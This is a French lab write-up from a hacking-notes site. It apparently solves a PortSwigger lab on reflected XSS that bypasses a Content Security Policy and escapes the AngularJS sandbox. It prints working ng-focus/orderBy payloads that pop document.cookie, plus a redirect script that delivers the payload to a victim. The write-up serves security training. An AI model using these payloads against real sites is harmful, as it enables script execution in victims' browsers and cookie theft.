> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/angularjs-sandbox-escape-with-csp.md).

# Échappement du sandbox AngularJS avec CSP

### XSS réfléchi avec évasion du bac à sable AngularJS et CSP

Réaliser une attaque de cross-site scripting réfléchi qui contourne la Content Security Policy, s'échappe du bac à sable AngularJS et s'exécute `alert(document.cookie)`.

**Commentaires**/ Le site utilise une politique CSP qui empêche l'exécution de scripts provenant d'un domaine externe :

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/7534191d0722354325b3142a0a2cb4ad613445d1" alt=""><figcaption></figcaption></figure>

En consultant la feuille de triche PortSwigger, nous identifions un vecteur AngularJS fonctionnel qui force l'évaluation via un `orderBy` filtre appliqué à l' `$event.composedPath()` événement.

<figure><img src="/files/e5a06e2a083e756fa72172897cae670fe44de92b" alt=""><figcaption></figcaption></figure>

* Pour déclencher une alerte :

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/4b95df12944392f1ddea8f8eaff348b3f159d7b1" alt=""><figcaption></figcaption></figure>

* Pour afficher la valeur de `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

Exemple d'URL construite pour livrer la charge utile et forcer l'exécution côté victime :

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/84ad577d618c9ab55c7b6b987327cb6ada9baa95" alt=""><figcaption></figcaption></figure>


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